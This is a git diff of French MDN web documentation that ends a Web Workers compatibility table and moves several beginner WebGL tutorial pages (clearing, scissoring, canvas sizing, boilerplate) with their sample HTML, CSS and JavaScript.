Note : Pour avoir une liste exhaustive des fonctionnalités disponibles pour les workers, voir  les fonctions et interfaces disponibles pour les workers.

-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', '#workers', 'Web workers')}}{{Spec2('HTML WHATWG')}}
- -

Compatibilité des navigateurs

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support simple4[1]{{CompatGeckoDesktop("1.9.1")}}10.010.6[1]4[2][5]
Workers partagés4[1]{{CompatGeckoDesktop(29)}}{{CompatNo}}10.65
- {{CompatNo}} 6.1[4]
Echange de données via le clonage structuré13{{CompatGeckoDesktop(8)}}10.011.56
Echange de données via les objets transférables17 {{property_prefix("webkit")}}
- 21		{{CompatGeckoDesktop(18)}}{{CompatNo}}156
Variable globale {{domxref("window.URL", "URL")}}10[3]
- 23		{{CompatGeckoDesktop(21)}}11156[3]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidChrome pour AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Support simple4.44[1]3.51.0.110.011.5[1]5.1[2][5]
Shared workers{{CompatNo}}4[1]81.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Echange de données via le clonage structuré{{CompatNo}}481.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Echange de données via les objets transférables{{CompatNo}}{{CompatNo}}181.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Chrome et Opera provoquent une erreur "Uncaught SecurityError: Failed to construct 'Worker': Script at 'file:///Path/to/worker.js' cannot be accessed from origin 'null'." lorsqu'on souhaite accéder au worker en local. Il faut un domaine réel pour le faire.

- -

[2] Avec Safari 7.1.2, on peut appeler console.log depuis un worker mais cela n'affichera rien dans la console. Les versions antérieures ne permettent pas d'appeler console.log depuis un worker.

- -

[3] Cette fonctionnalité est préfixée : webkitURL.

- -

[4] Safari a retiré la prise en charge de SharedWorker.

- -

[5] Avec Safari v.12+ (iOS & MacOS), les web workers sont uniquement démarrés après une interaction utilisateur (un clic par exemple). Les workers pourront être créés mais ne seront pas exécutés tant qu'ils n'y aura pas eu d'interaction.

- -

Voir aussi

- - diff --git a/files/fr/web/api/webgl_api/by_example/appliquer_des_couleurs/index.html b/files/fr/web/api/webgl_api/by_example/appliquer_des_couleurs/index.html deleted file mode 100644 index 1d8db41a20..0000000000 --- a/files/fr/web/api/webgl_api/by_example/appliquer_des_couleurs/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Appliquer des couleurs -slug: Web/API/WebGL_API/By_example/Appliquer_des_couleurs -tags: - - Apprendre - - Débutant - - Exemple - - Graphisme - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/By_example/Clearing_with_colors ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Détecter_WebGL","Apprendre/WebGL/Par_exemple/Appliquer_une_couleur_%C3%A0_la_souris")}}

- -

Dans cet article, on voit comment appliquer une couleur unie dans le contexte de rendu.

- -

{{EmbedLiveSample("Appliquer_une_couleur_unie_dans_le_contexte_WebGL",660,300)}}

- -

Appliquer une couleur unie dans le contexte WebGL

- -

Voici l'application la plus simple de {{Glossary("WebGL")}} : appliquer un vert uni dans le {{domxref("WebGLRenderingContext","contexte de rendu")}}. On notera que la feuille de style {{Glossary("CSS")}} définit l'arrière-plan comme étant noir. Ainsi, quand le canevas s'affiche en vert, on sait que {{Glossary("WebGL")}} a fonctionné comme il fallait.

- -

Par ailleurs, vous pouvez remarquer que, pour appliquer une couleur unie sur le tampon (buffer) de dessin, on utilise deux étapes. Tout d'abord, on applique la couleur verte grâce à la méthode {{domxref("WebGLRenderingContext.clearColor()","clearColor()")}}. Cette opération ne modifie que l'état interne de {{Glossary("WebGL")}}, rien n'est peint/affiché pour le moment. Ensuite, on dessine « réellement » avec la méthode {{domxref("WebGLRenderingContext.clear()","clear()")}}. C'est la méthode classique pour dessiner avec WebGL. Il y a seulement quelques méthodes qui « dessinent » (dont clear()), toutes les autres méthodes permettent d'obtenir ou de modifier les variables liées aux états de WebGL (dont la couleur à appliquer).

- -

Il existe de nombreuses options pour modifier les états {{Glossary("WebGL")}}. La couleur à appliquer en est une parmi d'autres.{{Glossary("WebGL")}}/{{Glossary("OpenGL")}} est souvent qualifié d'automate à états. En fait, lorsque vous manipulez ces variables internes, ces « interrupteurs », vous modifiez l'état interne de WebGL, qui modifie à son tour la façon dont la sortie est retranscrite (dans cet exemple, cela correspond à l'étape où les pixels sont passés en vert).

- -

Enfin, vous pouvez voir que les couleurs manipulées en WebGL sont décrites avec le format {{Glossary("RGBA")}}. Ce format décrit quatre composantes numériques pour les intensités respectives des tons rouge (R), vert (green G), bleu (B) et alpha (qui correspond à l'opacité). C'est pour ça que clearColor() prend quatre arguments.

- -
<p>Un programme WebGL très simple qui affiche une couleur.</p>
-<!-- Le texte d'un élément canvas est affiché uniquement
-    si canvas n'est pas supporté. -->
-<canvas>Il semblerait que votre navigateur ne supporte pas
-    le canevas HTML5</canvas>
-
- -
body {
-  text-align : center;
-}
-canvas {
-  display : block;
-  width : 280px;
-  height : 210px;
-  margin : auto;
-  padding : 0;
-  border : none;
-  background-color : black;
-}
-
- -
// On exécute tout dans le gestionnaire d'événement
-// correspondant au chargement de la fenêtre. De cette
-// façon, le DOM est complètement chargé et mis en forme
-// avant de le manipuler et d'encombrer la portée globale.
-// On donne un nom au gestionnaire (setupWebGL) afin de
-// pouvoir y faire référence par la suite.
-window.addEventListener("load", function setupWebGL (evt) {
-  "use strict"
-
-  // On fait le ménage : le gestionnaire se supprime lui-
-  // même car il n'a besoin d'être exécuté qu'une fois.
-  window.removeEventListener(evt.type, setupWebGL, false);
-
-  // On fait référence aux éléments du document.
-  var paragraph = document.querySelector("p"),
-    canvas = document.querySelector("canvas");
-
-  // On récupère le contexte de rendu WebGL.
-  var gl = canvas.getContext("webgl")
-    || canvas.getContext("experimental-webgl");
-
-  // Si cela échoue, on informe l'utilisateur.
-  // Sinon, on initialise la zone de dessin et on
-  // applique une couleur dans le contexte.
-  if (!gl) {
-    paragraph.innerHTML = "Échec de la récupération du "
-      + "contexte WebGL. Votre navigateur peut ne pas "
-      + " supporter WebGL.";
-    return;
-  }
-  paragraph.innerHTML =
-    "Félicitations, votre navigateur supporte WebGL. ";
-  gl.viewport(0, 0,
-    gl.drawingBufferWidth, gl.drawingBufferHeight);
-
-  // On définit la couleur qu'on veut appliquer
-  // (ici un vert foncé).
-  gl.clearColor(0.0, 0.5, 0.0, 1.0);
-
-  // Enfin, on applique la couleur dans le contexte. C'est
-  // cette fonction qui « dessine » réellement quelque chose.
-  gl.clear(gl.COLOR_BUFFER_BIT);
-
-}, false);
-
- -

Le code source de cet exemple est également disponible sur GitHub.

- -
{{PreviousNext("Apprendre/WebGL/Par_exemple/Détecter_WebGL","Apprendre/WebGL/Par_exemple/Appliquer_une_couleur_%C3%A0_la_souris")}}
diff --git "a/files/fr/web/api/webgl_api/by_example/appliquer_des_d\303\251coupes_simples/index.html" "b/files/fr/web/api/webgl_api/by_example/appliquer_des_d\303\251coupes_simples/index.html" deleted file mode 100644 index 3995861e83..0000000000 --- "a/files/fr/web/api/webgl_api/by_example/appliquer_des_d\303\251coupes_simples/index.html" +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Appliquer des découpes simples -slug: Web/API/WebGL_API/By_example/Appliquer_des_découpes_simples -tags: - - Apprendre - - Débutant - - Exemple - - Graphisme - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/By_example/Basic_scissoring ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Masque_de_couleur","Apprendre/WebGL/Par_exemple/Tailles_de_canvas_et_WebGL")}}

- -

Dans cet article, on illustre comment dessiner des rectangles et des carrés grâce à des opérations de découpe simple (scissoring).

- -

{{EmbedLiveSample("Appliquer_les_changements_sur_le_buffer_lors_de_la_découpe",660,330)}}

- -

Appliquer les changements sur le buffer lors de la découpe

- -

Voici une démonstration simple des opérations appliquées sur le contexte de rendu avec la méthode {{domxref("WebGLRenderingContext.scissor","scissor")}}.

- -

La commande {{domxref("WebGLRenderingContext.clear","clear()")}} permet de dessiner la couleur d'applique (définie à l'aide de {{domxref("WebGLRenderingContext.clearColor","clearColor()")}}) sur tous les pixels du tampon (buffer) de dessin. La commande  {{domxref("WebGLRenderingContext.scissor","scissor()")}} permet quant à elle de définir un masque qui permet de ne modifier que les pixels contenus dans un rectangle donné.

- -

Cet article représente une excellente occasion pour distinguer les pixels des fragments. Un pixel est un élément d'une image (en pratique c'est un point) sur l'écran ou un élément unique du tampon de dessin (l'espace mémoire qui contient les données relatives aux pixels comme les différentes composantes couleur). Un fragment fait référence au pixel manipulé par les processus {{Glossary("WebGL")}}.

- -

Cette distinction existe car la couleur d'un fragment (et ses autres caractéristiques comme la profondeur) peut être manipulée et modifiée à plusieurs reprises avant d'être écrite à l'écran. On a déjà vu comment la couleur d'un fragment pouvait être modifiée au cours des opérations graphiques en appliquant un {{domxref("WebGLRenderingContext.colorMask()","masque de couleur", "", 1)}}. Il existe d'autres cas où les fragments sont ignorés (le pixel n'est pass mis à jour) ou d'autres où ils interagissent avec la valeur du pixel existant (afin de fusionner les couleurs pour les éléments transparents qui composent une scène).

- -

Ici, on voit une autre distinction entre les fragments et les pixels. La découpe est une étape distincte du processus graphique de  {{Glossary("WebGL")}}/{{Glossary("OpenGL")}} (elle est traitée après l'applique de couleur et avant le masque de couleur). Avant que les pixels réels soient mis à jour, les fragments doivent passer le test de la découpe. S'ils réussissent ce test, ils continuent dans le processus de traitement et les pixels correspondants sont mis à jours. S'ils échouent, le processus rejette les fragments et ils ne sont plus gérés pour les traitements ultérieurs, les pixels correspondants ne seront pas mis à jour. Seuls les fragments appartenant à la zone rectangulaire donnée réussissent le test et seuls les pixels correspondants sont mis à jour. Au final, on obtient un rectangle qui est dessiné à l'écran.

- -

Par défaut, l'étape de découpe est désactivée dans le processus. Ici, on l'active avec la méthode  {{domxref("WebGLRenderingContext.enable","enable()")}} (enable() sera utilisée pour activer de nombreuses autres fonctionnalités liées à WebGL) avec la constante SCISSOR_TEST. Là aussi, on voit l'ordre généralement utilisé pour les commandes {{Glossary("WebGL")}}. Tout d'abord, on modifie l'état de WebGL (ici on active le test de découpe et on crée un masque rectangulaire). Une fois que l'état a bien été modifié, on exécute les commandes de dessin (ici clear()) pour commencer le processus de traitement des fragments.

- -
<p>Le résultat de la découpe.</p>
-<canvas>Il semblerait que votre navigateur
-    ne supporte pas l'élément canvas.</canvas>
-
- -
body {
-  text-align : center;
-}
-canvas {
-  display : block;
-  width : 280px;
-  height : 210px;
-  margin : auto;
-  padding : 0;
-  border : none;
-  background-color : black;
-}
-
- -
window.addEventListener("load", function setupWebGL (evt) {
-  "use strict"
-  window.removeEventListener(evt.type, setupWebGL, false);
-  var paragraph = document.querySelector("p");
-  var canvas = document.querySelector("canvas");
-
-  // Les deux lignes suivantes définissent la taille,
-  // en pixels CSS, du buffer de dessin qui est la même
-  // que celle du canevas (définie avec CSS).
-  canvas.width = canvas.clientWidth;
-  canvas.height = canvas.clientHeight;
-
-  var gl = canvas.getContext("webgl")
-    || canvas.getContext("experimental-webgl");
-  if (!gl) {
-    paragraph.innerHTML = "Échec de la récupération du "
-      + "contexte WebGL. Votre navigateur pourrait ne pas "
-      + "supporter WebGL.";
-    return;
-  }
-  gl.viewport(0, 0,
-    gl.drawingBufferWidth, gl.drawingBufferHeight);
-
-  // On applique une découpe et on définit la taille de
-  // la zone de découpe.
-  gl.enable(gl.SCISSOR_TEST);
-  gl.scissor(40, 20, 60, 170);
-
-  // On applique un jaune uni dans le contexte de rendu.
-  gl.clearColor(1.0, 1.0, 0.0, 1.0);
-  gl.clear(gl.COLOR_BUFFER_BIT);
-}, false);
-
- -

Le code source de cet exemple est également disponible sur GitHub.

- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Masque_de_couleur","Apprendre/WebGL/Par_exemple/Tailles_de_canvas_et_WebGL")}}

diff --git "a/files/fr/web/api/webgl_api/by_example/appliquer_une_couleur_\303\240_la_souris/index.html" "b/files/fr/web/api/webgl_api/by_example/appliquer_une_couleur_\303\240_la_souris/index.html" deleted file mode 100644 index 7ca07c36e6..0000000000 --- "a/files/fr/web/api/webgl_api/by_example/appliquer_une_couleur_\303\240_la_souris/index.html" +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Appliquer une couleur à la souris -slug: Web/API/WebGL_API/By_example/Appliquer_une_couleur_à_la_souris -tags: - - Apprendre - - Débutant - - Exemple - - Graphisme - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/By_example/Clearing_by_clicking ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_des_couleurs","Apprendre/WebGL/Par_exemple/Cr%C3%A9er_une_animation_color%C3%A9e")}}

- -

Dans cet article, on voit comment combiner les interactions de l'utilisateur et les opérations graphiques. Plus précisément, dans cet exemple, chaque clic de l'utilisateur déclenchera l'application d'une couleur aléatoire dans le contexte de rendu.

- -

{{EmbedLiveSample("Appliquer_des_couleurs_aléatoires_dans_le_contexte_de_rendu",660,410)}}

- -

Appliquer des couleurs aléatoires dans le contexte de rendu

- -

Cet exemple illustre simplement comment associer WebGL aux interactions utilisateur. Chaque fois que l'utilisateur cliquera sur le canevas ou sur le bouton, une couleur aléatoire sera appliquée sur le contexte de rendu.

- -

Ici, on montre comment on place les appels aux fonctions WebGL dans la fonction qui gère les événements :

- -
<p>Un programme WebGL très simple qui affiche des couleurs
-    suite aux interactions utilisateur.</p>
-<p>Vous pouvez cliquer sur le canevas ou sur le bouton pour
-    modifier la couleur.</p>
-<canvas id="canvas-view">Il semblerait que votre navigateur
-    ne supporte pas l'élément canvas.</canvas>
-<button id="color-switcher">Cliquez ici pour changer la couleur</button>
-
- -
body {
-  text-align : center;
-}
-button {
-  display : inline-block;
-  font-size : inherit;
-  margin : auto;
-  padding : 0.6em;
-}
-canvas {
-  display : block;
-  width : 280px;
-  height : 210px;
-  margin : auto;
-  padding : 0;
-  border : none;
-  background-color : black;
-}
-
- -
// On exécute tout dans le gestionnaire d'événement
-// correspondant au chargement de la fenêtre. De cette
-// façon, le DOM est complètement chargé et mis en forme
-// avant de le manipuler et d'encombrer la portée globale.
-// On donne un nom au gestionnaire (setupWebGL) afin de
-// pouvoir y faire référence par la suite.
-window.addEventListener("load", function setupWebGL (evt) {
-  "use strict"
-
-  // On fait le ménage : le gestionnaire se supprime lui-
-  // même car il n'a besoin d'être exécuté qu'une fois.
-  window.removeEventListener(evt.type, setupWebGL, false);
-
-  // On ajoute le même gestionnaire de clic sur le canevas
-  // et sur le bouton.
-  var canvas = document.querySelector("#canvas-view");
-  var button = document.querySelector("#color-switcher");
-  canvas.addEventListener("click", switchColor, false);
-  button.addEventListener("click", switchColor, false);
-
-  // On crée une variable qui contiendra WebGLRenderingContext.
-  var gl;
-
-  // La déclaration du gestionnaire d'événement pour le clic.
-  function switchColor () {
-
-    // On utilise la variable gl définie en dehors.
-    // Si elle n'est pas définie, on récupère WebGLRenderingContext.
-    // Si cela échoue, on avertit l'utilisateur. Sinon, on
-    // initialise la zone de dessin (viewport)
-    if (!gl) {
-      gl = canvas.getContext("webgl")
-        || canvas.getContext("experimental-webgl");
-      if (!gl) {
-        alert("Échec de la récupération du \n"
-          + "contexte WebGL. Votre navigateur peut ne pas \n"
-          + " supporter WebGL.");
-        return;
-      }
-      gl.viewport(0, 0,
-        gl.drawingBufferWidth, gl.drawingBufferHeight);
-    }
-
-    // On obtient une couleur aléatoire grâce
-    // à une fonction auxiliaire.
-    var color = getRandomColor();
-
-    // On choisit cette couleur comme couleur à appliquer.
-    gl.clearColor(color[0], color[1], color[2], 1.0);
-
-    // On applique la nouvelle couleur dans le contexte.
-    // C'est cette fonction qui effectue « réellement »
-    // le dessin sur la zone.
-    gl.clear(gl.COLOR_BUFFER_BIT);
-  }
-
-  // Une fonction auxiliaire pour créer une couleur aléatoire.
-  function getRandomColor() {
-    return [Math.random(), Math.random(), Math.random()];
-  }
-
-}, false);
-
- -

Le code source de cet exemple est également disponible sur GitHub.

- -
{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_des_couleurs","Apprendre/WebGL/Par_exemple/Cr%C3%A9er_une_animation_color%C3%A9e")}}
diff --git a/files/fr/web/api/webgl_api/by_example/basic_scissoring/index.html b/files/fr/web/api/webgl_api/by_example/basic_scissoring/index.html new file mode 100644 index 0000000000..3995861e83 --- /dev/null +++ b/files/fr/web/api/webgl_api/by_example/basic_scissoring/index.html @@ -0,0 +1,90 @@ +--- +title: Appliquer des découpes simples +slug: Web/API/WebGL_API/By_example/Appliquer_des_découpes_simples +tags: + - Apprendre + - Débutant + - Exemple + - Graphisme + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/By_example/Basic_scissoring +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Masque_de_couleur","Apprendre/WebGL/Par_exemple/Tailles_de_canvas_et_WebGL")}}

+ +

Dans cet article, on illustre comment dessiner des rectangles et des carrés grâce à des opérations de découpe simple (scissoring).

+ +

{{EmbedLiveSample("Appliquer_les_changements_sur_le_buffer_lors_de_la_découpe",660,330)}}

+ +

Appliquer les changements sur le buffer lors de la découpe

+ +

Voici une démonstration simple des opérations appliquées sur le contexte de rendu avec la méthode {{domxref("WebGLRenderingContext.scissor","scissor")}}.

+ +

La commande {{domxref("WebGLRenderingContext.clear","clear()")}} permet de dessiner la couleur d'applique (définie à l'aide de {{domxref("WebGLRenderingContext.clearColor","clearColor()")}}) sur tous les pixels du tampon (buffer) de dessin. La commande  {{domxref("WebGLRenderingContext.scissor","scissor()")}} permet quant à elle de définir un masque qui permet de ne modifier que les pixels contenus dans un rectangle donné.

+ +

Cet article représente une excellente occasion pour distinguer les pixels des fragments. Un pixel est un élément d'une image (en pratique c'est un point) sur l'écran ou un élément unique du tampon de dessin (l'espace mémoire qui contient les données relatives aux pixels comme les différentes composantes couleur). Un fragment fait référence au pixel manipulé par les processus {{Glossary("WebGL")}}.

+ +

Cette distinction existe car la couleur d'un fragment (et ses autres caractéristiques comme la profondeur) peut être manipulée et modifiée à plusieurs reprises avant d'être écrite à l'écran. On a déjà vu comment la couleur d'un fragment pouvait être modifiée au cours des opérations graphiques en appliquant un {{domxref("WebGLRenderingContext.colorMask()","masque de couleur", "", 1)}}. Il existe d'autres cas où les fragments sont ignorés (le pixel n'est pass mis à jour) ou d'autres où ils interagissent avec la valeur du pixel existant (afin de fusionner les couleurs pour les éléments transparents qui composent une scène).

+ +

Ici, on voit une autre distinction entre les fragments et les pixels. La découpe est une étape distincte du processus graphique de  {{Glossary("WebGL")}}/{{Glossary("OpenGL")}} (elle est traitée après l'applique de couleur et avant le masque de couleur). Avant que les pixels réels soient mis à jour, les fragments doivent passer le test de la découpe. S'ils réussissent ce test, ils continuent dans le processus de traitement et les pixels correspondants sont mis à jours. S'ils échouent, le processus rejette les fragments et ils ne sont plus gérés pour les traitements ultérieurs, les pixels correspondants ne seront pas mis à jour. Seuls les fragments appartenant à la zone rectangulaire donnée réussissent le test et seuls les pixels correspondants sont mis à jour. Au final, on obtient un rectangle qui est dessiné à l'écran.

+ +

Par défaut, l'étape de découpe est désactivée dans le processus. Ici, on l'active avec la méthode  {{domxref("WebGLRenderingContext.enable","enable()")}} (enable() sera utilisée pour activer de nombreuses autres fonctionnalités liées à WebGL) avec la constante SCISSOR_TEST. Là aussi, on voit l'ordre généralement utilisé pour les commandes {{Glossary("WebGL")}}. Tout d'abord, on modifie l'état de WebGL (ici on active le test de découpe et on crée un masque rectangulaire). Une fois que l'état a bien été modifié, on exécute les commandes de dessin (ici clear()) pour commencer le processus de traitement des fragments.

+ +
<p>Le résultat de la découpe.</p>
+<canvas>Il semblerait que votre navigateur
+    ne supporte pas l'élément canvas.</canvas>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+
+ +
window.addEventListener("load", function setupWebGL (evt) {
+  "use strict"
+  window.removeEventListener(evt.type, setupWebGL, false);
+  var paragraph = document.querySelector("p");
+  var canvas = document.querySelector("canvas");
+
+  // Les deux lignes suivantes définissent la taille,
+  // en pixels CSS, du buffer de dessin qui est la même
+  // que celle du canevas (définie avec CSS).
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    paragraph.innerHTML = "Échec de la récupération du "
+      + "contexte WebGL. Votre navigateur pourrait ne pas "
+      + "supporter WebGL.";
+    return;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+
+  // On applique une découpe et on définit la taille de
+  // la zone de découpe.
+  gl.enable(gl.SCISSOR_TEST);
+  gl.scissor(40, 20, 60, 170);
+
+  // On applique un jaune uni dans le contexte de rendu.
+  gl.clearColor(1.0, 1.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+}, false);
+
+ +

Le code source de cet exemple est également disponible sur GitHub.

+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Masque_de_couleur","Apprendre/WebGL/Par_exemple/Tailles_de_canvas_et_WebGL")}}

diff --git a/files/fr/web/api/webgl_api/by_example/boilerplate_1/index.html b/files/fr/web/api/webgl_api/by_example/boilerplate_1/index.html new file mode 100644 index 0000000000..a055a358c8 --- /dev/null +++ b/files/fr/web/api/webgl_api/by_example/boilerplate_1/index.html @@ -0,0 +1,97 @@ +--- +title: Modèle 1 +slug: Web/API/WebGL_API/By_example/Modèle_1 +tags: + - Apprendre + - Débutant + - Exemple + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/By_example/Boilerplate_1 +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Tailles_de_canvas_et_WebGL","Apprendre/WebGL/Par_exemple/Créer_une_animation_avec_découpe_et_applique")}}

+ +

Dans cet article, on décrit les fragments de code qui seront réutilisés pour les exemples suivants (où ils seront masqués pour une meilleur lisibilité). Parmi ce code, on définit une fonction JavaScript utilitaire qui permet de simplifier l'initialisation de WebGL.

+ +

{{EmbedLiveSample("Socle_pour_l'initialisation_du_contexte_WebGL",660,400)}}

+ +

Socle pour l'initialisation du contexte WebGL

+ +

Nous avons vu plusieurs fois les mêmes morceaux de {{Glossary("HTML")}}, {{Glossary("CSS")}} et {{Glossary("JavaScript")}}. Nous allons donc les cacher par la suite afin de mieux nous concentrer sur les parties du code qui sont pertinentes pour l'apprentissage de {{Glossary("WebGL")}}.

+ +

Plus précisément, le code HTML contiendra

+ +
    +
  • Un élément {{HTMLElement("p")}} qui décrira l'exemple et qui permettra d'afficher des messages d'erreur
    • +
  • Un élément {{HTMLElement("canvas")}}
    • +
  • Un bouton (élément {{HTMLElement("button")}})
    • +
+ +

Les règles CSS s'appliqueront aux éléments body, canvas et button. Les éléments supplémentaires pour le code CSS et HTML seront détaillés dans les pages des exemples concernés.

+ +

Dans les exemples suivants, on utilisera la fonction utilitaire JavaScript getRenderingContext pour initialiser {{domxref("WebGLRenderingContext","le contexte de rendu WebGL", "", 1)}}. Grâce aux exemples précédents, vous devriez pouvoir comprendre le rôle de cette fonction. Pour résumer, celle-ci

+ +
    +
  • Obtient le contexte de rendu de la part de l'élément canvas
    • +
  • Initialise le buffer de dessin
    • +
  • Nettoie le buffer avec clear
    • +
  • Applique le contexte initialisé
    • +
+ +

S'il y a une erreur, la fonction affiche un message d'erreur et renvoie null.

+ +

Enfin, tout le code JavaScript est exécuté par une fonction immédiatement appelée (une technique plutôt commune avec JavaScript). La déclaration de la fonction et son invocation seront cachées.

+ +
<p>[ Un texte qui décrit l'exemple. ]</p>
+<button>[ Un bouton optionnel pour les interactions. ]</button>
+<canvas>Il semblerait que votre navigateur ne supporte
+    pas le canevas HTML5.</canvas>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+button {
+  display : block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+
+ +
function getRenderingContext() {
+  var canvas = document.querySelector("canvas");
+  canvas.width = canvas.clientWidth;
+  canvas.height = canvas.clientHeight;
+  var gl = canvas.getContext("webgl")
+    || canvas.getContext("experimental-webgl");
+  if (!gl) {
+    var paragraph = document.querySelector("p");
+    paragraph.innerHTML = "Échec de l'obtention du "
+      + "contexte WebGL."
+      + "Votre navigateur ou appareil ne supporte "
+      + "peut-être pas WebGL.";
+    return null;
+  }
+  gl.viewport(0, 0,
+    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  return gl;
+}
+
+ +

Le code source de cet exemple est également disponible sur GitHub.

+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Tailles_de_canvas_et_WebGL","Apprendre/WebGL/Par_exemple/Créer_une_animation_avec_découpe_et_applique")}}

diff --git a/files/fr/web/api/webgl_api/by_example/canvas_size_and_webgl/index.html b/files/fr/web/api/webgl_api/by_example/canvas_size_and_webgl/index.html new file mode 100644 index 0000000000..086e0394a7 --- /dev/null +++ b/files/fr/web/api/webgl_api/by_example/canvas_size_and_webgl/index.html @@ -0,0 +1,82 @@ +--- +title: Tailles de canvas et WebGL +slug: Web/API/WebGL_API/By_example/Tailles_de_canvas_et_WebGL +tags: + - Apprendre + - Débutant + - Exemple + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/By_example/Canvas_size_and_WebGL +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_des_découpes_simples","Apprendre/WebGL/Par_exemple/Modèle_1")}}

+ +

{{EmbedLiveSample("Les_effets_liés_à_la_taille_du_canevas_sur_le_rendu_avec_WebGL",660,180)}}

+ +

Dans cet exemple, on observe l'effet obtenu quand on définit (ou non) la taille du canevas HTML avec sa taille {{Glossary("CSS")}} (exprimée en pixels CSS), tel qu'il apparaît dans la fenêtre du navigateur.

+ +

Les effets liés à la taille du canevas sur le rendu avec WebGL

+ +

Grâce aux méthodes {{domxref("WebGLRenderingContext.scissor()","scissor()")}} et {{domxref("WebGLRenderingContext.clear()","clear()")}} on peut démontrer que le tampon (buffer) de dessin WebGL est affecté par la taille du canevas (l'élément HTML canvas).

+ +

La taille du premier canevas est définie avec la taille de l'élément, mis en forme, qui est déterminée par {{Glossary("CSS")}}. Pour cela, on affecte respectivement les valeurs {{domxref("Element.clientWidth","clientWidth")}} and {{domxref("Element.clientHeight","clientHeight")}} aux propriétés {{domxref("HTMLCanvasElement.width","width")}} et {{domxref("HTMLCanvasElement.height","height")}}.

+ +

Pour le deuxième canevas, on n'applique pas ce traitement, c'est donc les dimensions internes du canevas : {{domxref("HTMLCanvasElement.width","width")}} et {{domxref("HTMLCanvasElement.height","height")}} qui sont prises en compte. Celles-ci sont différentes des dimensions de l'élément canvas affiché dans le fenêtre du navigateur.

+ +

L'effet devient visible quand on utilise les méthodes {{domxref("WebGLRenderingContext.scissor()","scissor()")}} et {{domxref("WebGLRenderingContext.clear()","clear()")}} pour dessiner un carré au centre du canevas en définissant sa position et sa taille en pixels. Dans le premier canevas, on obtient bien le bon résultat et dans le deuxième, on a la mauvaise forme, la mauvaise taille et la mauvaise position.

+ +
<p>On compare les deux canevas.</p>
+<canvas>Votre navigateur ne semble pas
+    supporter l'élément HTML5 canvas.</canvas>
+<canvas>Votre navigateur ne semble pas
+    supporter l'élément HTML5 canvas.</canvas>
+
+ +
body {
+  text-align : center;
+}
+canvas {
+  width : 120px;
+  height : 80px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+
+ +
window.addEventListener("load", function() {
+  "use strict"
+  var firstCanvas = document.getElementsByTagName("canvas")[0],
+    secondCanvas = document.getElementsByTagName("canvas")[1];
+
+  // Ici on applique le traitement spécifique au premier
+  // canevas
+  firstCanvas.width = firstCanvas.clientWidth;
+  firstCanvas.height = firstCanvas.clientHeight;
+
+  // Ensuite on traite les deux canevas de la même façon
+  [firstCanvas, secondCanvas].forEach(function(canvas) {
+    var gl = canvas.getContext("webgl")
+      || canvas.getContext("experimental-webgl");
+    if (!gl) {
+      document.querySelector("p").innerHTML =
+        "Échec de l'obtention du contexte WebGL. "
+        + "Votre navigateur peut ne pas supporter WebGL.";
+      return;
+    }
+    gl.viewport(0, 0,
+      gl.drawingBufferWidth, gl.drawingBufferHeight);
+    gl.enable(gl.SCISSOR_TEST);
+    gl.scissor(30, 10, 60, 60);
+    gl.clearColor(1.0, 1.0, 0.0, 1.0);
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  });
+}, false);
+
+ +

Le code source de cet exemple est également disponible sur GitHub.

+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_des_découpes_simples","Apprendre/WebGL/Par_exemple/Modèle_1")}}

